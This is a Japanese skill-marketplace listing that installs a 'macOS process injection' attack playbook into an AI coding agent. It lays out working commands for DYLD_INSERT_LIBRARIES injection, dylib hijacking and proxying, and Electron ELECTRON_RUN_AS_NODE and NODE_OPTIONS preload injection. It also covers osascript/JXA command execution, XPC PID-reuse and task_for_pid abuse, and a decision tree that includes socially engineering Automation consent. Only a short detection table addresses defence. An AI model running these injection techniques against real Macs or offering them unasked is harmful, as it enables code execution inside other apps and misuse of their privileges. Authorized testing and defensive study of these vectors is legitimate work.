mcpField
M
macos-process-injection

macos-process-injection

github.com/yaklangセキュリティ2.6k3.5k 回インストール6 週間前に更新
リポジトリ

macos-process-injection について

macOS のプロセス注入経路と前提条件、検出の手掛かりを整理したセキュリティスキルです。ネイティブアプリ、XPC、Mach、Electron の攻撃面を調べるテスター向けです。

主な機能

  1. 01DYLD 環境変数注入の条件
  2. 02弱い dylib と @rpath のハイジャック
  3. 03XPC の PID 検証の弱点
  4. 04Mach ポートと MIG の攻撃面
  5. 05Electron 注入と検出の手掛かり

活用シーン

  1. 01対象プログラムの dylib ハイジャック可能性の評価
  2. 02XPC サービスのクライアント検証の確認
  3. 03Electron アプリの注入経路の分析

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill macos-process-injection

インストール後、Claude Code で/macos-process-injectionを入力して読み込まれたか確認します。

同梱ファイルDYLIB_XPC_TECHNIQUES.md

詳細

SKILL:macOS プロセスインジェクション — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:macOS のエキスパート向けプロセスインジェクション手法です。DYLD_INSERT_LIBRARIES、dylib ハイジャック(weak/rpath/プロキシ)、XPC PID 再利用攻撃、Mach ポート操作、MIG の悪用、Electron インジェクションを扱います。基本モデルでは、インジェクションベクトルにおけるエンタイトルメントの前提条件や SIP の制約が見落とされます。

0. 関連するルーティング

詳しく調べる前に、次の項目を読み込むことを検討してください。

  • インジェクションを妨げる TCC、Gatekeeper、SIP の保護を回避する必要がある場合は、macos-security-bypass
  • Unix レイヤーの権限昇格については、linux-privilege-escalation(共有オブジェクトのハイジャックの概念が当てはまります)
高度なリファレンス

次の内容が必要な場合は、DYLIB_XPC_TECHNIQUES.md も読み込んでください。

  • ツールのコマンドを含む、手順ごとの dylib ハイジャック手法
  • コード例を含む XPC 悪用の解説
  • Mach ポート手法の詳細と task_for_pid のパターン

1. DYLD_INSERT_LIBRARIES インジェクション

最も簡単なインジェクション方法です。動的リンカーに dylib の事前読み込みを強制する環境変数を設定します。

1.1 要件と制限事項
条件インジェクション可能?理由
通常の(Hardened Runtime が有効でない)バイナリはい制限なし
Hardened Runtime が有効いいえDYLD が環境変数を除去します
Hardened Runtime が有効で、com.apple.security.cs.allow-dyld-environment-variables が設定済みはいエンタイトルメントにより明示的に許可されています
Apple のシステムバイナリ(SIP で保護)いいえSIP により DYLD 環境変数が除去されます
SUID/SGID バイナリいいえ権限の安全性を保つため、DYLD 環境変数が除去されます
App Sandbox が有効いいえサンドボックスが環境変数によるインジェクションをブロックします
1.2 基本的なインジェクション
# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
    printf("[+] Injected into PID %d\n", getpid());
    // payload here
}
EOF

# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64

# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target
1.3 インジェクション可能なターゲットの検索
# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
  binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  if [ -n "$binary" ]; then
    flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
    echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
  fi
' _ {} \;

# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
  binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  codesign -d --entitlements :- "$binary" 2>/dev/null | \
    grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;

2. DYLIB ハイジャック

動的リンカーのライブラリ検索順序を悪用して、正規の dylib の代わりに(またはそれに加えて)攻撃者が制御する dylib を読み込ませます。

2.1 Weak Dylib ハイジャック(LC_LOAD_WEAK_DYLIB)

Weak dylib は任意です。存在しなくてもバイナリは実行されます。想定パスに dylib を配置できれば、その dylib が読み込まれます。

# Find binaries with weak dylib references
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB

# Check if the weak dylib actually exists
otool -L /path/to/binary | grep weak | while read lib rest; do
  [ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done
2.2 @rpath ハイジャック

@rpath は、バイナリ内の LC_RPATH エントリから解決されます。先に検索される rpath ディレクトリが書き込み可能であれば、そこに dylib を配置できます。

# List rpath entries
otool -l /path/to/binary | grep -A 2 LC_RPATH

# List rpath-relative dylib references
otool -L /path/to/binary | grep @rpath

# If rpath includes writable directory (e.g., app's Frameworks/)
# place malicious dylib with matching name there
2.3 Dylib プロキシ

正規の dylib を、すべてのエクスポートを元の dylib に転送する悪意のある dylib に置き換えます。

# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'

# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
    // malicious code here
}
EOF

gcc -dynamiclib -o hijacked.dylib proxy.c \
  -Wl,-reexport_library,/path/to/original_real.dylib \
  -arch x86_64 -arch arm64
2.4 依存関係の列挙
otool -L /path/to/binary              # List all dylib dependencies
otool -l /path/to/binary              # Full load commands (rpaths, weak, etc.)
dyldinfo -print_dependencies /path/to/binary  # Detailed dependency info (pre-Ventura)

3. XPC の悪用

XPC(プロセス間通信)は、macOS における権限分離の主要な IPC メカニズムです。特権を持つ XPC サービスは、価値の高いターゲットです。

3.1 XPC サービスの検出
# System XPC services
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20

# Third-party XPC services
find /Library /Applications -name "*.xpc" -type d 2>/dev/null

# LaunchDaemon XPC services (root-level)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null
3.2 PID 再利用攻撃

PID で検証される XPC 接続は、競合状態の影響を受けます。攻撃者がプロセスを起動し、PID が確認されて検証を通過した後、攻撃者のプロセスが終了すると、OS がその PID を悪意のあるプロセスに再利用します。

検証方法脆弱か?備考
PID ベースのチェックはいプロセス終了後に PID が再利用されます
Audit tokenいいえプロセスのライフサイクルごとに一意で、再利用されません
コード署名チェックいいえ署名 ID を検証します
エンタイトルメントチェックいいえプロセスのエンタイトルメントを確認します
Timeline of PID reuse attack:
1. Legitimate client (PID 1234) connects to XPC service
2. XPC service checks PID 1234 → valid
3. Legitimate client exits (PID 1234 freed)
4. Attacker rapidly forks to get PID 1234
5. Attacker's process (now PID 1234) sends malicious XPC message
6. XPC service trusts PID 1234 (cached validation)
3.3 XPC クライアント検証の弱点
弱点説明悪用方法
クライアント検証なしサービスがすべての接続を受け入れます直接接続してコマンドを送信します
PID のみで検証競合状態を悪用できますPID 再利用攻撃(§3.2)
Bundle ID のみをチェックBundle ID は偽装できます一致する Bundle ID のアプリを作成します
コード要件が不完全anchor チェックがありません部分的な要件に一致する任意の証明書で署名します
誤ったプロセスのエンタイトルメントをチェッククライアントではなく親プロセスをチェックしますエンタイトルメントを持つ親プロセスから起動します

4. MACH ポート操作

Mach ポートは、XPC の基盤となるカーネルレベルの IPC プリミティブです。Mach ポートに直接アクセスすると、強力なインジェクションが可能になります。

4.1 タスクポート(task_for_pid)
// Requires root or taskgated entitlement
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
    // Can now read/write target process memory
    // Can inject threads via thread_create_running
}
アクセス方法要件悪用後に可能なこと
task_for_pid()Root + SIP で保護されていないターゲットメモリの完全な読み書き、スレッドインジェクション
processor_set_tasks()Root + com.apple.system-task-portsすべてのタスクポートの列挙
例外ポートtask_set_exception_ports で設定ターゲットのクラッシュを捕捉し、実行をリダイレクト
スレッドインジェクションタスクポートを取得済みターゲットのアドレス空間に新しいスレッドを作成
4.2 ポート名前空間の操作
手法説明
ポート名の推測Mach ポート名は連続した整数のため、状況によっては総当たりで推測可能です
mach_port_insert_rightターゲットの名前空間に送信権を挿入(タスクポートが必要)
Bootstrap サーバーの悪用正規サービスより先にサービス名を登録 → 接続を傍受

5. MIG(MACH INTERFACE GENERATOR)の悪用

MIG は Mach IPC 用の C スタブを生成します。MIG サーバーのディスパッチルーチンには脆弱性が存在する可能性があります。

5.1 分析アプローチ
# Find MIG subsystems in a binary
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"

# Identify MIG routine dispatch tables
otool -tV /path/to/binary | grep -A 5 "server_routine"
5.2 よくある MIG の脆弱性
脆弱性説明
監査トークンの検証漏れMIG ハンドラーが送信者の ID を検証しません
型の混同MIG のデシリアライズ処理が、クライアントから提供された型記述子を信頼します
ポートのライフサイクルに関する問題MIG 呼び出しの間に Mach ポートを解放した後で使用します
OOL(アウトオブライン)メモリの悪用過大な OOL 記述子 → カーネルメモリの問題

6. ELECTRON / CHROMIUM へのインジェクション

多くの macOS アプリは Electron(Slack、Discord、VS Code、Teams など)を使用しています。Electron アプリには、複数のインジェクション対象が存在します。

6.1 ELECTRON_RUN_AS_NODE
# Turns Electron app into a plain Node.js runtime
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
  "require('child_process').execSync('id').toString()"

# This inherits the app's TCC permissions!
# If Slack has camera/mic/screen recording, your code gets it too.
6.2 デバッグフラグ
# Open Chrome DevTools protocol on the app
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# Then connect: chrome://inspect in Chrome browser

# Break before any code runs
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=9229
6.3 NODE_OPTIONS インジェクション
# Inject preload script via NODE_OPTIONS
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"
6.4 Electron のヒューズ

最新の Electron アプリでは、危険な機能を無効にするために「ヒューズ」を使用します。ヒューズの状態を確認してください。

ヒューズ有効時(セキュア)無効時(悪用可能)
RunAsNodeELECTRON_RUN_AS_NODE が除去されるアプリを Node.js として使用可能
EnableNodeCliInspectArguments--inspect フラグが除去されるデバッガーをアタッチ可能
EnableNodeOptionsEnvironmentVariableNODE_OPTIONS が除去されるpreload をインジェクション可能
OnlyLoadAppFromAsar.asar からのみ読み込むJS ファイルを置き換え可能
# Check electron fuse status (requires npx @electron/fuses)
npx @electron/fuses read --app "/Applications/Target.app"

7. アプリケーションスクリプティング(APPLE EVENTS)

# Inject via osascript (if Automation permission exists)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'

# JavaScript for Automation (JXA)
osascript -l JavaScript -e '
  var app = Application("Terminal");
  app.doScript("id > /tmp/pwned");
'

# JXA with ObjC bridge (powerful)
osascript -l JavaScript -e '
  ObjC.import("Cocoa");
  var task = $.NSTask.alloc.init;
  task.launchPath = "/bin/bash";
  task.arguments = ["-c", "id > /tmp/pwned"];
  task.launch;
'

8. プロセスインジェクションの判断ツリー

Need to inject code into macOS process
│
├── Target uses Electron?
│   ├── Fuses disabled? → ELECTRON_RUN_AS_NODE (§6.1)
│   ├── Debugging available? → --inspect flag (§6.2)
│   ├── NODE_OPTIONS not stripped? → preload injection (§6.3)
│   └── All fuses on? → check dylib path or XPC
│
├── Target has dylib env var entitlement?
│   └── Yes → DYLD_INSERT_LIBRARIES (§1)
│
├── Target has missing or weak dylib?
│   ├── LC_LOAD_WEAK_DYLIB with missing lib? → place dylib (§2.1)
│   ├── @rpath with writable dir first in search? → rpath hijack (§2.2)
│   └── Existing dylib in writable location? → dylib proxy (§2.3)
│
├── Target exposes XPC service?
│   ├── No client validation? → connect directly (§3.3)
│   ├── PID-only validation? → PID reuse attack (§3.2)
│   └── Audit token validation? → need different vector
│
├── Have root access?
│   ├── Target not SIP-protected? → task_for_pid injection (§4.1)
│   └── SIP-protected? → need SIP bypass first (→ macos-security-bypass)
│
├── Can use Apple Events?
│   ├── Automation permission for target? → osascript injection (§7)
│   └── No permission? → social engineer Automation consent
│
└── None of the above?
    ├── Check for MIG server vulnerabilities (§5)
    └── Look for bootstrap server name collision (§4.2)

9. 検知とフォレンジック

アーティファクト確認場所
DYLD_INSERT_LIBRARIES の使用プロセス環境(/proc/PID/environ、ps eww)
想定外の dylib の読み込みvmmap PID または DYLD_PRINT_LIBRARIES=1 の出力
XPC 接続の異常Endpoint Security の es_event_type_t XPC イベント
Electron のデバッグポートが開いているlsof -i :9229
osascript の実行統合ログ:log show --predicate 'process=="osascript"'
署名されていないコードの実行codesign --verify の失敗、Gatekeeper のログ

コメント